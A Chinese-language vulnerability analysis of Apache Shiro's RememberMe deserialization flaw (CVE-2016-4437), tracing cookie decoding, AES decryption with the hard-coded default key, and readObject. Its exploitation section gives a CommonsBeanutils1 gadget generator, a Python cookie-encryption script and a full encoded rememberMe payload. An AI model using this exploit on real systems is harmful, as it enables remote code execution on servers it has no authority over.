漏洞简介

Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全领域,它提供了一套全面的安全功能,包括身份认证、授权、加密和会话管理,可以轻松地集成到各种 Java 应用程序中。

Apache Shiro 自 0.9 版本开始设计了 RememberMe 的功能,该功能是一种身份认证机制,允许用户在登录后长时间内保持登录状态,即使关闭浏览器或注销账户后再次访问时仍然保持登录状态。当未手动为 RememberMe 功能配置密钥时,攻击者可以通过发送特定参数的请求对 Shiro 执行任意代码或绕过预期的访问限制。

影响范围

该漏洞影响 1.2.5 以前的版本,但受后续版本的修复方式所限,如果密钥被泄漏,攻击者依旧能够造成任意代码执行或绕过访问限制。

环境搭建

从 Shiro 的 GitHub 仓库克隆下来,并切换至 shiro-root-1.2.4 分支。

1
2
git clone https://github.com/apache/shiro && cd shiro/
git checkout shiro-root-1.2.4

使用 IntelliJ IDEA 打开此项目,需要先在samples/web/pom.xml中指定 jstl 的版本为 1.2,不然后面运行起来会报 500。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

然后将 Java 版本设置在 8u71 以上,尽量接近实战中的环境。继续同步 Maven 依赖,并参考如下图新增 Tomcat 运行配置。

等待依赖同步完毕,便可以运行起来。

调试也是没问题的。

漏洞分析

在登录应用程序时,当勾选 rememberMe 的功能,如果登录失败,在 Set-Cookie 响应头中就会有rememberMe=deleteMe

若成功登录,则会返回有效的 rememberMe Set-Cookie 头,并携带这个 rememberMe 跳转至登录页面。

据此,对应用处理 rememberMe 的流程进行分析。

相关处理类

在 Shiro 中,org.apache.shiro.web.mgt.CookieRememberMeManager 是用于管理 RememberMe 功能的核心类之一,它负责生成、解析和验证 RememberMe Cookie。

该继承自 shiro-core 中的 org.apache.shiro.mgt.AbstractRememberMeManager,而 AbstractRememberMeManager 实现了 org.apache.shiro.mgt.RememberMeManager 接口。

处理流程

根据 samples/web/src/main/webapp/WEB-INF/web.xml 的映射关系,可知请求任意 Web 路径都会由 org.apache.shiro.web.servlet.ShiroFilter 类处理。

1
2
3
4
5
6
7
8
9
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

ShiroFilter 类继承自 AbstractShiroFilter 类。

1
public class ShiroFilter extends AbstractShiroFilter

而 AbstractShiroFilter 类又继承 OncePerRequestFilter。

1
public abstract class AbstractShiroFilter extends OncePerRequestFilter

在 OncePerRequestFilter#doFilter 方法中调用了 doFilterInternal 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws ServletException, IOException {
String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName());
filterChain.doFilter(request, response);
} else //noinspection deprecation

// ...

} else {
// Do invoke this filter...
log.trace("Filter '{}' not yet executed. Executing now.", getName());
request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);

try {
doFilterInternal(request, response, filterChain);
} finally {
// Once the request has finished, we're done and we don't
// need to mark as 'already filtered' any more.
request.removeAttribute(alreadyFilteredAttributeName);
}
}
}

而 doFilterInternal 这个方法在子类 AbstractShiroFilter 中有被重写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
throws ServletException, IOException {

Throwable t = null;

try {
final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = prepareServletResponse(request, servletResponse, chain);

final Subject subject = createSubject(request, response);

//noinspection unchecked
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
} catch (ExecutionException ex) {
t = ex.getCause();
} catch (Throwable throwable) {
t = throwable;
}
// ...
}

在这个方法中会调用 createSubject 方法创建 Subject。

1
2
3
protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
}

继续跟下去,最终会调用父类 org.apache.shiro.mgt.DefaultSecurityManager 中的 createSubject(org.apache.shiro.subject.SubjectContext)方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Subject createSubject(SubjectContext subjectContext) {
//create a copy so we don't modify the argument's backing map:
SubjectContext context = copy(subjectContext);

//ensure that the context has a SecurityManager instance, and if not, add one:
context = ensureSecurityManager(context);

//Resolve an associated Session (usually based on a referenced session ID), and place it in the context before
//sending to the SubjectFactory. The SubjectFactory should not need to know how to acquire sessions as the
//process is often environment specific - better to shield the SF from these details:
context = resolveSession(context);

//Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
//if possible before handing off to the SubjectFactory:
context = resolvePrincipals(context);

Subject subject = doCreateSubject(context);

//save this subject for future reference if necessary:
//(this is needed here in case rememberMe principals were resolved and they need to be stored in the
//session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation).
//Added in 1.2:
save(subject);

return subject;
}

如上 createSubject 方法对 resolvePrincipals 方法进行了调用,在 resolvePrincipals 又调用了 getRememberedIdentity。getRememberedIdentity 中调用了 getRememberMeManager 和 getRememberedPrincipals。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}

根据 getRememberMeManager 方法的签名,可以得知该方法会返回一个 org.apache.shiro.mgt.RememberMeManager 对象,这是一个接口。

1
2
3
public RememberMeManager getRememberMeManager() {
return rememberMeManager;
}
1
public interface RememberMeManager

随后会调用到 org.apache.shiro.mgt.RememberMeManager#getRememberedPrincipals,这个接口方法只有在 AbstractRememberMeManager 一个类中得到了实现,而处理 RememberMe Cookie 得类又是继承自 AbstractRememberMeManager 类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

Base64 解码

在如上 AbstractRememberMeManager#getRememberedPrincipals 方法中调用了 getRememberedSerializedIdentity 与 convertBytesToPrincipals 两个方法。

此处的 getRememberedSerializedIdentity 是一个抽象方法。

1
protected abstract byte[] getRememberedSerializedIdentity(SubjectContext subjectContext);

在 shiro-web 中,由于 org.apache.shiro.web.mgt.CookieRememberMeManager 继承自 org.apache.shiro.mgt.AbstractRememberMeManager 类。

1
public class CookieRememberMeManager extends AbstractRememberMeManager

所以最终会调用到 CookieRememberMeManager 中的 getRememberedSerializedIdentity 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

该方法会传入的 RememberMe Cookie 进行 Base64 编码,并返回 byte[]数组。

AES 解密

紧接着,会对字节数组进行非空判断,若成立就会调用 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,在其中解密又调用了两个关键方法,decrypt 和 deserialize,顾名思义,解密与反序列化。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

decrypt 方法如下。

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

在里面调用了 getDecryptionCipherKey 方法获取解密 Key,返回值便是 Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

private byte[] decryptionCipherKey;

public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

之后,将密文与 Key 传入至 cipherService.decrypt 中,这个方法是 org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

byte[] encrypted = ciphertext;

//No IV, check if we need to read the IV from the stream:
byte[] iv = null;

if (isGenerateInitializationVectors(false)) {
try {
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;

//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}

return decrypt(encrypted, key, iv);
}

由于 AES 是一种对称加密算法,加解密所用到的密钥 Key 会是同一个,还会涉及一个初始向量 iv。所以在这个方法中,将 encrypted、key、iv 传给了 JcaCipherService#decrypt(byte[], byte[], byte[])方法,在其中进行 AES 解密,最后返回解密后的内容。

反序列化

成功解密后就会返回到 convertBytesToPrincipals 方法中,继续交由 deserialize 方法处理。

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

最后在 org.apache.shiro.io.DefaultSerializer#deserialize 方法中发生反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

这里面调用了原生 readObject 方法进行反序列化,这也是远程代码执行漏洞发生的地方。

漏洞利用

由于 Shiro 中是存在 Commons BeanUtils 组件的,但存在的 Commons Collections 组件是不完整的,所以可以直接利用 CommonsBeanutils1 来攻击 Shiro。

关于 CommonsBeanutils1 链的详细分析见《Java 反序列化漏洞之 CommonsBeanutils1 链》文章,这里直接使用如下利用代码生成恶意反序列化数据 CBRCEWithoutCC.ser 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.javasec.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.util.Collections;

public class CBRCEWithoutCC {
public static void main(String[] args) throws Exception {

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "T");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("CBRCEWithoutCC.ser"));
outputStream.writeObject(queue);
outputStream.close();

// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("CBRCEWithoutCC.ser"));
// inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

然后通过如下 Python 脚本生成编码后的 Payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import uuid
from Crypto.Cipher import AES

with open('./CBRCEWithoutCC.ser', 'rb') as f:
data = f.read()

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), AES.MODE_CBC, iv)

print("Cookie: rememberMe={}".format(base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
# Cookie: rememberMe=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

将 Payload 放置在 BurpSuite 中并构造恶意请求,最终成功实现 RCE。

漏洞修复

官方在 1.2.5 版本中对 CVE-2016-4437 这个漏洞进行了修复,见如下 commit。

https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

1
2
3
4
5
6
7
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

根据如上代码变更,修复方式移除了原本硬编码的 Key,然后调用 generateNewKey 方法生成一个新的 Key。

同时,官方还允许开发者在 shiro.ini 配置文件中自定义设置 Key,且这个优先级是高于 generateNewKey 方法的。

1
2
3
# We need to set the cipherKey, if you want the rememberMe cookie to work after restarting or on multiple nodes.
# YOU MUST SET THIS TO A UNIQUE STRING
#securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

不过反序列化的流程依旧没有发生变化。这也就意味着如果攻击者能得知密钥 Key,还是可能对 Shiro 应用造成远程代码执行的。

参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0074

https://issues.apache.org/jira/browse/SHIRO-721

https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848